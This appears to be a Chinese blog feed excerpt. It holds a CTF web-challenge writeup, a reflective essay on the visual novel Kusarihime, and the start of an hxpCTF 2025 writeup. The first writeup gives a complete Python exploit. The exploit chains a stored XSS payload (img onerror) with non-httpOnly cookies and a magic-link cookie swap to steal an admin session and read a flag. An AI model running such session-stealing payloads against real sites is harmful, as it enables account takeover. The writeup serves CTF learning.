  if (y === null) {
    return false;
  }
  let current = y;
  for (let i = 0; i &amp;lt; decoded.difficulty; i += 1) {
    current = (current ^ POW_ONE);
    current = (current * current) % POW_MOD;
  }
  if (current === decoded.x) {
    return true;
  }
  return current === (POW_MOD - decoded.x);
}

function reportContext(status, error) {
  return {
    status,
    error,
    powChallenge: POW_ENABLED ? powGenerateChallenge(POW_DIFFICULTY) : null
  };
}

function safeRedirect(value) {
  if (!value || typeof value !== &apos;string&apos;) {
    return &apos;/dashboard&apos;;
  }
  try {
    const parsed = new URL(value, APP_ORIGIN);
    if (parsed.origin !== appOrigin.origin) {
      return &apos;/dashboard&apos;;
    }
    if (!parsed.pathname.startsWith(&apos;/&apos;)) {
      return &apos;/dashboard&apos;;
    }
    return `${parsed.pathname}${parsed.search}${parsed.hash}`;
  } catch (err) {
    return &apos;/dashboard&apos;;
  }
}

function normalizeReportUrl(input) {
  if (!input || typeof input !== &apos;string&apos;) {
    return null;
  }
  let url;
  try {
    if (input.startsWith(&apos;/&apos;)) {
      url = new URL(input, APP_ORIGIN);
    } else {
      url = new URL(input);
    }
  } catch (err) {
    return null;
  }
  if (url.protocol !== &apos;http:&apos;) {
    return null;
  }
  if (!allowedReportHosts.has(url.host)) {
    return null;
  }
  url.host = appOrigin.host;
  return url.toString();
}

function requireLogin(req, res, next) {
  if (!req.user) {
    return res.redirect(&apos;/login&apos;);
  }
  return next();
}

app.use((req, res, next) =&amp;gt; {
  const db = loadDb();
  req.db = db;
  req.user = resolveSession(req, db);
  res.locals.user = req.user;
  next();
});

app.get(&apos;/&apos;, (req, res) =&amp;gt; {
  if (req.user) {
    return res.redirect(&apos;/dashboard&apos;);
  }
  return res.render(&apos;index&apos;);
});

app.get(&apos;/register&apos;, (req, res) =&amp;gt; {
  return res.render(&apos;register&apos;, { error: null });
});

app.post(&apos;/register&apos;, (req, res) =&amp;gt; {
  const db = req.db;
  const username = (req.body.username || &apos;&apos;).trim();
  const password = req.body.password || &apos;&apos;;

  if (!username || !password) {
    return res.render(&apos;register&apos;, { error: &apos;Username and password are required.&apos; });
  }
  if (getUserByName(db, username)) {
    return res.render(&apos;register&apos;, { error: &apos;Username already exists.&apos; });
  }

  const userId = db.nextUserId++;
  const passHash = bcrypt.hashSync(password, 10);
  db.users.push({ id: userId, username, passHash, isAdmin: false });
  saveDb(db);

  return res.redirect(&apos;/login&apos;);
});

app.get(&apos;/login&apos;, (req, res) =&amp;gt; {
  return res.render(&apos;login&apos;, { error: null });
});

app.post(&apos;/login&apos;, (req, res) =&amp;gt; {
  const db = req.db;
  const username = (req.body.username || &apos;&apos;).trim();
  const password = req.body.password || &apos;&apos;;
  const user = getUserByName(db, username);

  if (!user || !bcrypt.compareSync(password, user.passHash)) {
    return res.render(&apos;login&apos;, { error: &apos;Invalid username or password.&apos; });
  }

  const existingSid = req.cookies.sid;
  if (existingSid) {
    res.cookie(&apos;sid_prev&apos;, existingSid, cookieOptions());
  }
  const sid = createSession(db, user.id);
  saveDb(db);
  res.cookie(&apos;sid&apos;, sid, cookieOptions());

  return res.redirect(&apos;/dashboard&apos;);
});

app.post(&apos;/logout&apos;, (req, res) =&amp;gt; {
  res.clearCookie(&apos;sid&apos;);
  res.clearCookie(&apos;sid_prev&apos;);
  return res.redirect(&apos;/&apos;);
});

app.get(&apos;/dashboard&apos;, requireLogin, (req, res) =&amp;gt; {
  const posts = getUserPosts(req.db, req.user.id).map((post) =&amp;gt; ({
    id: post.id,
    updatedAt: post.updatedAt,
    preview: sanitizeHtml(post.savedContent)
  }));
  return res.render(&apos;dashboard&apos;, {
    posts
  });
});

app.get(&apos;/post/:id&apos;, requireLogin, (req, res) =&amp;gt; {
  const postId = Number.parseInt(req.params.id, 10);
  if (!Number.isFinite(postId)) {
    return res.status(404).send(&apos;Not found.&apos;);
  }
  const post = getPostById(req.db, req.user.id, postId);
  if (!post) {
    return res.status(404).send(&apos;Not found.&apos;); // 未找到。
  }
  return res.render(&apos;post&apos;, {
    post,
    content: sanitizeHtml(post.savedContent)
  });
});

app.get(&apos;/edit&apos;, requireLogin, (req, res) =&amp;gt; {
  const db = req.db;
  const post = createPost(db, req.user.id);
  saveDb(db);
  return res.redirect(`/edit/${post.id}`);
});

app.get(&apos;/edit/new&apos;, requireLogin, (req, res) =&amp;gt; {
  return res.redirect(&apos;/edit&apos;);
});

app.get(&apos;/edit/:id&apos;, requireLogin, (req, res) =&amp;gt; {
  const postId = Number.parseInt(req.params.id, 10);
  if (!Number.isFinite(postId)) {
    return res.status(404).send(&apos;Not found.&apos;);
  }
  const post = getPostById(req.db, req.user.id, postId);
  if (!post) {
    return res.status(404).send(&apos;Not found.&apos;); // 未找到。
  }
  const draftContent = post.draftContent || post.savedContent || &apos;&apos;;
  return res.render(&apos;editor&apos;, {
    post,
    draftContent
  });
});

app.post(&apos;/api/save&apos;, requireLogin, (req, res) =&amp;gt; {
  const db = req.db;
  const postId = Number.parseInt(req.body.postId, 10);
  if (!Number.isFinite(postId)) {
    return res.status(400).json({ ok: false });
  }
  const post = getPostById(db, req.user.id, postId);
  if (!post) {
    return res.status(404).json({ ok: false });
  }
  const rawContent = String(req.body.content || &apos;&apos;);
  const sanitized = sanitizeHtml(rawContent);
  post.savedContent = sanitized;
  post.draftContent = sanitized;
  post.updatedAt = Date.now();
  saveDb(db);
  return res.json({ ok: true });
});

app.post(&apos;/api/autosave&apos;, requireLogin, (req, res) =&amp;gt; {
  const db = req.db;
  const postId = Number.parseInt(req.body.postId, 10);
  if (!Number.isFinite(postId)) {
    return res.status(400).json({ ok: false });
  }
  const post = getPostById(db, req.user.id, postId);
  if (!post) {
    return res.status(404).json({ ok: false });
  }
  const rawContent = String(req.body.content || &apos;&apos;);
  post.draftContent = rawContent;
  post.updatedAt = Date.now();
  saveDb(db);
  return res.json({ ok: true });
});

app.get(&apos;/account&apos;, requireLogin, (req, res) =&amp;gt; {
  const links = Object.entries(req.db.magicLinks)
    .filter(([, entry]) =&amp;gt; entry.userId === req.user.id)
    .map(([token]) =&amp;gt; token);
  return res.render(&apos;account&apos;, { links });
});

app.post(&apos;/magic/generate&apos;, requireLogin, (req, res) =&amp;gt; {
  const db = req.db;
  const token = crypto.randomBytes(16).toString(&apos;hex&apos;);
  db.magicLinks[token] = { userId: req.user.id, createdAt: Date.now() };
  saveDb(db);
  return res.redirect(&apos;/account&apos;);
});

app.get(&apos;/magic/:token&apos;, (req, res) =&amp;gt; {
  const db = req.db;
  const token = req.params.token;
  const record = db.magicLinks[token];
  if (!record) {
    return res.status(404).send(&apos;Invalid token.&apos;); // 无效的令牌。
  }

  const existingSid = req.cookies.sid;
  if (existingSid) {
    res.cookie(&apos;sid_prev&apos;, existingSid, cookieOptions());
  }
  const sid = createSession(db, record.userId);
  saveDb(db);
  res.cookie(&apos;sid&apos;, sid, cookieOptions());

  const target = safeRedirect(req.query.redirect);
  return res.redirect(target);
});

app.get(&apos;/report&apos;, requireLogin, (req, res) =&amp;gt; {
  return res.render(&apos;report&apos;, reportContext(null, null));
});

app.post(&apos;/report&apos;, requireLogin, async (req, res) =&amp;gt; {
  const rawUrl = (req.body.url || &apos;&apos;).trim();
  const target = normalizeReportUrl(rawUrl);
  if (!target) {
    return res.render(&apos;report&apos;, reportContext(null, &apos;Only local URLs are allowed.&apos;)); // 仅允许本地 URL。
  }
  if (POW_ENABLED) {
    const challenge = req.body.pow_challenge || &apos;&apos;;
    const solution = req.body.pow_solution || &apos;&apos;;
    if (!powCheck(challenge, solution, POW_DIFFICULTY)) {
      return res.render(&apos;report&apos;, reportContext(null, &apos;Proof of work failed.&apos;)); // 工作量证明失败。
    }
  }

  try {
    const response = await fetch(`${BOT_ORIGIN}/visit`, {
      method: &apos;POST&apos;,
      headers: { &apos;Content-Type&apos;: &apos;application/json&apos; },
      body: JSON.stringify({ url: target })
    });

    if (!response.ok) {
      throw new Error(`bot status ${response.status}`);
    }

    return res.render(&apos;report&apos;, reportContext(&apos;Admin is on the way.&apos;, null)); // 管理员正在赶来。
  } catch (err) {
    return res.render(&apos;report&apos;, reportContext(null, &apos;Bot request failed. Try again in a moment.&apos;)); // Bot 请求失败。请稍后再试。
  }
});

app.get(&apos;/flag&apos;, requireLogin, (req, res) =&amp;gt; {
  if (!req.user.isAdmin) {
    return res.status(403).send(&apos;Admins only.&apos;); // 仅限管理员。
  }
  return res.send(FLAG);
});

app.listen(PORT, () =&amp;gt; {
  console.log(`personal-blog web listening on ${PORT}`); // personal-blog web 正在监听端口 ${PORT}
});
&amp;lt;%- include(&apos;partials/page-start&apos;) %&amp;gt;
&amp;lt;section class=&quot;editor-shell&quot;&amp;gt;
  &amp;lt;div class=&quot;editor-header&quot;&amp;gt;
    &amp;lt;div&amp;gt;
      &amp;lt;p class=&quot;eyebrow&quot;&amp;gt;Edit&amp;lt;/p&amp;gt;
      &amp;lt;h2&amp;gt;Post &amp;lt;%= post.id %&amp;gt;&amp;lt;/h2&amp;gt;
      &amp;lt;p class=&quot;muted&quot;&amp;gt;Only you can see this entry.&amp;lt;/p&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;a class=&quot;button ghost&quot; href=&quot;/dashboard&quot;&amp;gt;Back to posts&amp;lt;/a&amp;gt;
  &amp;lt;/div&amp;gt;

  &amp;lt;div class=&quot;editor-panel&quot;&amp;gt;
    &amp;lt;div id=&quot;editor&quot; class=&quot;editor&quot; data-post-id=&quot;&amp;lt;%= post.id %&amp;gt;&quot; contenteditable=&quot;true&quot;&amp;gt;&amp;lt;%- draftContent %&amp;gt;&amp;lt;/div&amp;gt;
  &amp;lt;/div&amp;gt;

  &amp;lt;div class=&quot;editor-actions&quot;&amp;gt;
    &amp;lt;button id=&quot;saveButton&quot; class=&quot;button primary&quot; type=&quot;button&quot;&amp;gt;Save&amp;lt;/button&amp;gt;
    &amp;lt;a class=&quot;button ghost&quot; href=&quot;/post/&amp;lt;%= post.id %&amp;gt;&quot;&amp;gt;View post&amp;lt;/a&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/section&amp;gt;

&amp;lt;script src=&quot;/static/dompurify/purify.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;script src=&quot;/static/editor.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;%- include(&apos;partials/page-end&apos;) %&amp;gt;
const express = require(&apos;express&apos;);
const puppeteer = require(&apos;puppeteer-core&apos;);

const PORT = process.env.PORT || 4000;
const APP_HOST = process.env.APP_HOST || &apos;http://localhost:3000&apos;;
const ADMIN_USER = process.env.ADMIN_USER || &apos;admin&apos;;
const ADMIN_PASS = process.env.ADMIN_PASS || process.env.ADMIN_PASSWORD || &apos;adminpass&apos;;
const BROWSER_PATH = process.env.PUPPETEER_EXECUTABLE_PATH || &apos;/usr/bin/chromium&apos;;

const app = express();
app.use(express.json());

let browserPromise = null;

async function getBrowser() {
  if (!browserPromise) {
    browserPromise = puppeteer.launch({
      headless: &apos;new&apos;,
      executablePath: BROWSER_PATH,
      args: [&apos;--no-sandbox&apos;, &apos;--disable-setuid-sandbox&apos;]
    });
  }
  return browserPromise;
}

function isLocalUrl(target) {
  try {
    const url = new URL(target);
    return url.origin === APP_HOST;
  } catch (err) {
    return false;
  }
}

async function loginAndVisit(targetUrl) {
  const browser = await getBrowser();
  const context = browser.createBrowserContext
    ? await browser.createBrowserContext()
    : await browser.createIncognitoBrowserContext();
  const page = await context.newPage();
  try {
    page.setDefaultTimeout(10000);

    await page.goto(`${APP_HOST}/login`, { waitUntil: &apos;networkidle2&apos; });
    await page.type(&apos;input[name=&quot;username&quot;]&apos;, ADMIN_USER, { delay: 40 });
    await page.type(&apos;input[name=&quot;password&quot;]&apos;, ADMIN_PASS, { delay: 40 });
    await Promise.all([
      page.click(&apos;button[type=&quot;submit&quot;]&apos;),
      page.waitForNavigation({ waitUntil: &apos;networkidle2&apos; })
    ]);

    await page.goto(targetUrl, { waitUntil: &apos;networkidle2&apos; });
    await new Promise((resolve) =&amp;gt; setTimeout(resolve, 6000));
  } finally {
    await page.close();
    await context.close();
  }
}

app.post(&apos;/visit&apos;, async (req, res) =&amp;gt; {
  const target = String(req.body.url || &apos;&apos;);
  if (!isLocalUrl(target)) {
    return res.status(400).json({ ok: false, error: &apos;invalid url&apos; });
  }
  loginAndVisit(target).catch((err) =&amp;gt; {
    console.log(err);
  });
  return res.status(202).json({ ok: true, status: &apos;started&apos; });
});

app.listen(PORT, () =&amp;gt; {
  console.log(`admin bot listening on ${PORT}`);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这题让我很难受看的，代码太长了，基本漏洞点在这&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function cookieOptions() {
  return {
    httpOnly: false,
    sameSite: &apos;Lax&apos;,
    path: &apos;/&apos;
  };
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;httponly是关的，说明脚本可以用脚本去读前端的cookie，然后这题flag的读取条件是有admin的sid，但是我们只有普通身份，怎么使得我们有管理员的sid呢。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;app.post(&apos;/api/autosave&apos;, requireLogin, (req, res) =&amp;gt; {
  const rawContent = String(req.body.content || &apos;&apos;);
  post.draftContent = rawContent;   // 不 sanitize(净化)
  saveDb(db);
  return res.json({ ok: true });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个不经过净化直接存入了draftcomtent,而edit路由会直接把这个拿出来渲染，&lt;/p&gt;
&lt;p&gt;模板里是 &lt;code&gt;&amp;lt;%- draftContent %&amp;gt;&lt;/code&gt;（不转义输出），所以&lt;strong&gt;你放进草稿的 HTML(超文本) 会被浏览器当真执行&lt;/strong&gt; → 存储型 XSS。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const existingSid = req.cookies.sid;
if (existingSid) {
  res.cookie(&apos;sid_prev&apos;, existingSid, cookieOptions());
}
const sid = createSession(db, record.userId);
res.cookie(&apos;sid&apos;, sid, cookieOptions());
return res.redirect(target);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是另一个漏洞点，就是如果我们访问magic的url的时候，如果自身有·cookie，那么就会把自身最新的cookie放进sid_prev，然后会把magic的属主cookie设置成sid然后重定向到作者主页，这个时候我们可以通过xss读取admin的sid并且用来读取/flag并且打印回来。&lt;/p&gt;
&lt;p&gt;再加上 &lt;code&gt;cookieOptions()&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function cookieOptions() {
  return { httpOnly: false, sameSite: &apos;Lax&apos;, path: &apos;/&apos; };
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;httpOnly:false&lt;/code&gt; 代表 &lt;strong&gt;JS(脚本)&lt;/strong&gt; 可以 &lt;code&gt;document.cookie&lt;/code&gt; 读到 &lt;code&gt;sid_prev&lt;/code&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;漏洞点 C：&lt;code&gt;/flag(旗子接口)&lt;/code&gt; 只看 &lt;code&gt;req.user.isAdmin(是否管理员)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;app.get(&apos;/flag&apos;, requireLogin, (req, res) =&amp;gt; {
  if (!req.user.isAdmin) return res.status(403).send(&apos;Admins only.&apos;);
  return res.send(FLAG);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而 &lt;code&gt;req.user&lt;/code&gt; 是用 &lt;code&gt;resolveSession()&lt;/code&gt; 从 &lt;code&gt;sid&lt;/code&gt; 算出来的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function resolveSession(req, db) {
  const sid = req.cookies.sid;
  const session = db.sessions[sid];
  return getUserById(db, session.userId);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以：&lt;strong&gt;只要你能把浏览器 cookie 里的&lt;/strong&gt; &lt;code&gt;**sid**&lt;/code&gt; &lt;strong&gt;临时换成 admin 的 sid，就能读&lt;/strong&gt; &lt;code&gt;**/flag**&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;bot(机器人) 的作用：让“admin sid”出现&lt;/p&gt;
&lt;p&gt;你题里 bot 会先登录 admin，再访问你上报的 URL(链接)。
于是当 bot 访问 &lt;code&gt;/magic/:token&lt;/code&gt; 时，&lt;code&gt;existingSid&lt;/code&gt; 就是 &lt;strong&gt;admin sid&lt;/strong&gt;，它就会被写进 &lt;code&gt;sid_prev&lt;/code&gt;，然后被你的 XSS 读出来。&lt;/p&gt;
&lt;p&gt;以下是exp:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import re
import time
import base64
import requests

# ====== 配置区 ======
BASE = &quot;http://34.26.148.28:5000&quot;  # 必须是 http://，不能是 https://
USER = &quot;kanon&quot;
PASS = &quot;123456&quot;
# ====================

# ====== PoW(工作量证明) 求解器：反向开方 + xor(异或) 1 ======
P = (1 &amp;lt;&amp;lt; 1279) - 1
EXP = (P + 1) // 4  # 因为 P % 4 == 3，平方根用 a^((P+1)/4) mod P

def b64_to_int(s: str) -&amp;gt; int:
    b = base64.b64decode(s)
    return int.from_bytes(b, &quot;big&quot;) if b else 0

def int_to_b64(n: int) -&amp;gt; str:
    if n == 0:
        return base64.b64encode(b&quot;\x00&quot;).decode()
    blen = (n.bit_length() + 7) // 8
    return base64.b64encode(n.to_bytes(blen, &quot;big&quot;)).decode()

def decode_challenge(ch: str):
    # challenge 形如: s.&amp;lt;d_base64&amp;gt;.&amp;lt;x_base64&amp;gt;
    ver, d_b64, x_b64 = ch.split(&quot;.&quot;, 2)
    if ver != &quot;s&quot;:
        raise ValueError(&quot;bad pow version&quot;)
    d_bytes = base64.b64decode(d_b64)
    if len(d_bytes) &amp;gt; 4:
        raise ValueError(&quot;bad difficulty bytes&quot;)
    d = int.from_bytes(d_bytes.rjust(4, b&quot;\x00&quot;), &quot;big&quot;)
    x = b64_to_int(x_b64) % P
    return d, x

def forward(y: int, d: int) -&amp;gt; int:
    cur = y
    for _ in range(d):
        cur ^= 1
        cur = (cur * cur) % P
    return cur

def invert_once(cur: int) -&amp;gt; int:
    r = pow(cur, EXP, P)     # 对二次剩余给 sqrt(cur)，对非剩余给 sqrt(-cur)
    return (r ^ 1) % P

def solve_pow(ch: str) -&amp;gt; str:
    d, x = decode_challenge(ch)

    # 尝试从 x 反推
    cur = x
    for _ in range(d):
        cur = invert_once(cur)
    y = cur

    out = forward(y, d)
    if out != x and out != (P - x) % P:
        # 再从 -x 反推（对应服务器允许的 POW_MOD - x）
        cur = (-x) % P
        for _ in range(d):
            cur = invert_once(cur)
        y = cur

    return &quot;s.&quot; + int_to_b64(y)

# ====== 主流程 ======
def must(cond, msg):
    if not cond:
        raise RuntimeError(msg)

def main():
    must(BASE.startswith(&quot;http://&quot;), &quot;BASE 必须以 http:// 开头（后端拒绝 https）&quot;)

    s = requests.Session()

    # 1) login(登录)
    r = s.post(f&quot;{BASE}/login&quot;, data={&quot;username&quot;: USER, &quot;password&quot;: PASS}, allow_redirects=False)
    must(r.status_code == 302 and r.headers.get(&quot;Location&quot;, &quot;&quot;).startswith(&quot;/dashboard&quot;),
         f&quot;登录失败：status={r.status_code}, Location={r.headers.get(&apos;Location&apos;)}&quot;)

    # 2) create post(新建文章)：GET /edit 会 302 到 /edit/&amp;lt;id&amp;gt;
    r = s.get(f&quot;{BASE}/edit&quot;, allow_redirects=False)
    loc = r.headers.get(&quot;Location&quot;, &quot;&quot;)
    m = re.match(r&quot;^/edit/(\d+)$&quot;, loc)
    must(r.status_code == 302 and m, f&quot;新建文章失败：status={r.status_code}, Location={loc}&quot;)
    post_id = int(m.group(1))
    print(&quot;[+] postId =&quot;, post_id)

    # 3) inject(注入) 到 draftContent(草稿内容)：POST /api/autosave（后端不净化）
    # 用 img onerror(加载失败事件) 更稳，不依赖 script 标签解析
    payload = f&apos;&apos;&apos;&amp;lt;img src=x onerror=&quot;(async()=&amp;gt;{{
  const get=(k)=&amp;gt;(&apos;;&apos;+&apos; &apos;+document.cookie).split(&apos;; &apos;+k+&apos;=&apos;).pop().split(&apos;;&apos;).shift();
  const attacker=get(&apos;sid&apos;), admin=get(&apos;sid_prev&apos;);
  if(!attacker||!admin) return;

  document.cookie=&apos;sid=&apos;+admin+&apos;; path=/&apos;;
  const flag=await (await fetch(&apos;/flag&apos;)).text();

  document.cookie=&apos;sid=&apos;+attacker+&apos;; path=/&apos;;
  await fetch(&apos;/api/save&apos;, {{
    method:&apos;POST&apos;,
    headers:{{&apos;Content-Type&apos;:&apos;application/json&apos;}},
    body:JSON.stringify({{postId:{post_id}, content:&apos;&amp;lt;pre&amp;gt;&apos;+flag+&apos;&amp;lt;/pre&amp;gt;&apos;}})
  }});
}})()&quot;&amp;gt;&apos;&apos;&apos;

    r = s.post(f&quot;{BASE}/api/autosave&quot;, json={&quot;postId&quot;: post_id, &quot;content&quot;: payload})
    must(r.ok and r.json().get(&quot;ok&quot;) is True, f&quot;autosave 注入失败：{r.text}&quot;)

    # 4) 生成 magic link(魔术链接)
    s.post(f&quot;{BASE}/magic/generate&quot;, allow_redirects=True)
    acc = s.get(f&quot;{BASE}/account&quot;).text
    token_m = re.search(r&quot;/magic/([0-9a-f]{32})&quot;, acc)
    must(token_m, &quot;account 页面没找到 token（可能 generate 失败）&quot;)
    token = token_m.group(1)
    print(&quot;[+] token =&quot;, token)

    # 5) report(上报) 前先抓 PoW challenge(挑战)
    rep = s.get(f&quot;{BASE}/report&quot;).text
    ch_m = re.search(r&apos;name=&quot;pow_challenge&quot;\s+value=&quot;([^&quot;]+)&quot;&apos;, rep)
    data = {&quot;url&quot;: f&quot;/magic/{token}?redirect=/edit/{post_id}&quot;}

    if ch_m:
        ch = ch_m.group(1)
        print(&quot;[+] PoW challenge =&quot;, ch)
        sol = solve_pow(ch)
        print(&quot;[+] PoW solution  =&quot;, sol[:60] + (&quot;...&quot; if len(sol) &amp;gt; 60 else &quot;&quot;))
        data[&quot;pow_challenge&quot;] = ch
        data[&quot;pow_solution&quot;] = sol

    # 6) 提交 report(上报)，触发 bot(机器人)
    r = s.post(f&quot;{BASE}/report&quot;, data=data)
    must(&quot;Admin is on the way.&quot; in r.text, f&quot;report 失败（没触发 bot）：页面返回可能是 PoW/URL 错误\n{r.text}&quot;)

    # 7) 等 bot 执行（bot 内部 sleep 6 秒）
    time.sleep(8)

    # 8) 读文章：如果成功，/post/&amp;lt;id&amp;gt; 会出现 &amp;lt;pre&amp;gt;flag&amp;lt;/pre&amp;gt;
    page = s.get(f&quot;{BASE}/post/{post_id}&quot;).text
    print(page)

if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其实还是有一些感触的，那就是一个白盒也不能一味审计，也要结合客户端的东西，一串又臭又长的代码摆在面前光是审计是很累的，也要结合可视化的网页来降低理解的脑消耗来提升审计效率，更何况我还不是很熟js。&lt;/p&gt;
&lt;p&gt;到这里吧...&lt;/p&gt;
</content:encoded></item><item><title>腐り姫〜euthanasia〜杂谈</title><link>https://ymsora.com/posts/%E8%85%90%E5%A7%AC%E6%9D%82%E8%B0%88/</link><guid isPermaLink="true">https://ymsora.com/posts/%E8%85%90%E5%A7%AC%E6%9D%82%E8%B0%88/</guid><description>腐姬~安乐死，杂谈</description><pubDate>Thu, 08 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;腐り姫〜euthanasia〜の感&lt;/h1&gt;
&lt;p&gt;说起来，除去去年的The House in fata morgana 以外，今年我接触印象最深的一部便是腐り姫〜euthanasia〜这部作品，即便它混乱，论叙颠倒，但对我来说，定然有着些特别的意味，看着那一张张山水画，再看着空无一人的身旁，我想，定是勾起了我的乡愁吧。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/zt1.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;依始以来便是如此，人自然是一个关系流动的客体，自我在众多的小说，思辨中通常被认为是一种连续主体，&lt;/p&gt;
&lt;p&gt;但是五树在回到家乡时，失忆已然伴随，而对于五树而言，故乡也是自我叙事的产物，在乡间，&lt;/p&gt;
&lt;p&gt;人与人的连结依靠的是共享的秘密，共同的压抑，以及不言说的规则，这些塑造了乡间的规律和伦理，&lt;/p&gt;
&lt;p&gt;而记忆丧失使这一切失去了原有的锚点，于是，五树可以说是脱离了这一锚点，从现象来说，&lt;/p&gt;
&lt;p&gt;他已然将自己认知为是故乡的外人，五树的故乡稻荷乡4日一循环，循环让五树原本无锚点的自我加速腐败，&lt;/p&gt;
&lt;p&gt;而决定性的，便是，腐姬，藏女。&lt;/p&gt;
&lt;p&gt;腐姬是山间传说中的一种，名为藏女，以人的欲望为食，实现愿望后讲人腐化。&lt;/p&gt;
&lt;p&gt;人们掩埋的压抑，最终会腐化，在自我以及众人的连结引导下，人失去了摆脱这些规则的能力，&lt;/p&gt;
&lt;p&gt;便转为了另一种形式，有点类似于一种被规训的欲望，当然，这是Foucault的权力理论所归因的。&lt;/p&gt;
&lt;p&gt;在规训的欲望引导到最后时，死亡也就成了这系统中唯一的自由，对于自己来说，死亡便成了温柔的终点。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/zt2.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我想，这篇也是类似于元小说的叙事吧，只是内里的人并没有意识到自身的处境，也没有产生奇怪的行动，&lt;/p&gt;
&lt;p&gt;当然，人们并不是因此而死亡的，这决定论的自由主义对于书中的人物来说，多是一件残酷的事，&lt;/p&gt;
&lt;p&gt;但那也让我深深意识到到一件事，这残酷，也针对着屏幕外的我。&lt;/p&gt;
&lt;p&gt;乡愁原意是不可达的，回不去的，但是在这里，乡愁是离不开的，也就是永远回去，永远回返，&lt;/p&gt;
&lt;p&gt;在《腐姬》的结构里，乡愁不是怀旧，而是一种把人黏回熟悉秩序的力，共同体用它维护秘密，&lt;/p&gt;
&lt;p&gt;循环用它覆盖现在，藏女用它诱导回返。最终，当“家”从庇护变成牢笼，&lt;/p&gt;
&lt;p&gt;安乐死就被叙事塑造成唯一出口——这不是温柔的归乡，而是存在被故乡吞没的自噬。&lt;/p&gt;
&lt;p&gt;我时而看着空荡荡的家，依然会浮现出那浓郁的乡愁，我清楚我害怕失去它，时常我看着家中，便会想起五树打开尘封的杂物间，斯人已然不在,遗下的只有空旷和孤寂。我 ?, 但那都是后话了...&lt;/p&gt;
</content:encoded></item><item><title>hxpCTF2025 writeup</title><link>https://ymsora.com/posts/hxpctf/</link><guid isPermaLink="true">https://ymsora.com/posts/hxpctf/</guid><description>德国公开赛,慕尼黑工业大学相关组织</description><pubDate>Wed, 31 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;1.on error resume next&lt;/h1&gt;
&lt;p&gt;第一题是go的一个逻辑题，上源码:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package main

import (
	&quot;database/sql&quot;
	_ &quot;embed&quot;
	&quot;net/http&quot;
	&quot;os&quot;
	&quot;strconv&quot;
	&quot;sync&quot;
	&quot;text/template&quot;
	&quot;time&quot;

	_ &quot;github.com/go-sql-driver/mysql&quot;
)

type User struct {
	ID     int64
	Name   string
	Credit uint64
}

type transactions struct {
	Sender   int64
	Receiver int64
	Amount   uint64
}

//go:embed index.html
var indexHtml string
var tmpl = template.Must(template.New(&quot;index.html&quot;).Parse(indexHtml))

var db *sql.DB

//go:embed schema.sql
var dbSchema string

func initDB() {
	db, _ = sql.Open(&quot;mysql&quot;, &quot;user:password@tcp(db)/db?multiStatements=true&quot;)

	db.SetConnMaxLifetime(time.Minute * 5)
	db.SetMaxOpenConns(1)
	db.SetMaxIdleConns(1)

	db.Exec(dbSchema)
}

func Sum(userID int64) uint64 {
	if userID == 1 { // System is always bankrupt :/
		return 0
	}

	rows, _ := db.Query(&quot;SELECT amount, receiver, sender FROM transactions&quot;)
	defer rows.Close()

	var sum uint64

	for rows.Next() {
		transactions := transactions{}
		rows.Scan(&amp;amp;transactions.Amount, &amp;amp;transactions.Receiver, &amp;amp;transactions.Sender)

		if transactions.Receiver == userID {
			sum += transactions.Amount
		} else if transactions.Sender == userID {
			sum -= transactions.Amount
		}
	}

	return sum
}

func main() {
	initDB()

	// Sorry, I still haven&apos;t learned DB transactions :/
	var mutex sync.Mutex

	http.HandleFunc(&quot;GET /&quot;, func(w http.ResponseWriter, r *http.Request) {
		mutex.Lock()
		defer mutex.Unlock()

		rows, _ := db.Query(&quot;SELECT name, id FROM users&quot;)
		defer rows.Close()
		var users []User

		for rows.Next() {
			user := User{}
			rows.Scan(&amp;amp;user.Name, &amp;amp;user.ID)
			users = append(users, user)
		}

		for i := range users {
			users[i].Credit = Sum(users[i].ID)
		}

		tmpl.Execute(w, struct {
			Msg   string
			Users []User
		}{
			r.URL.Query().Get(&quot;msg&quot;),
			users,
		})
	})

	demoUserLimit := 5
	http.HandleFunc(&quot;POST /signup&quot;, func(w http.ResponseWriter, r *http.Request) {
		mutex.Lock()
		defer mutex.Unlock()

		if demoUserLimit &amp;lt;= 0 {
			http.Redirect(w, r, &quot;/?msg=Demo+Version+Limit+Reached&quot;, http.StatusFound)
			return
		}
		demoUserLimit -= 1

		r.ParseForm()

		res, _ := db.Exec(&quot;INSERT INTO users (name, id) VALUES (?, ?)&quot;, r.Form.Get(&quot;name&quot;), r.Form.Get(&quot;id&quot;))
		id, _ := res.LastInsertId()
		db.Exec(&quot;INSERT INTO transactions (subject, amount, sender, receiver) VALUES (?, ?, ?, ?)&quot;, &quot;Gift from the system&quot;, 10, 1, id)

		http.Redirect(w, r, &quot;/?msg=User+Created&quot;, http.StatusFound)
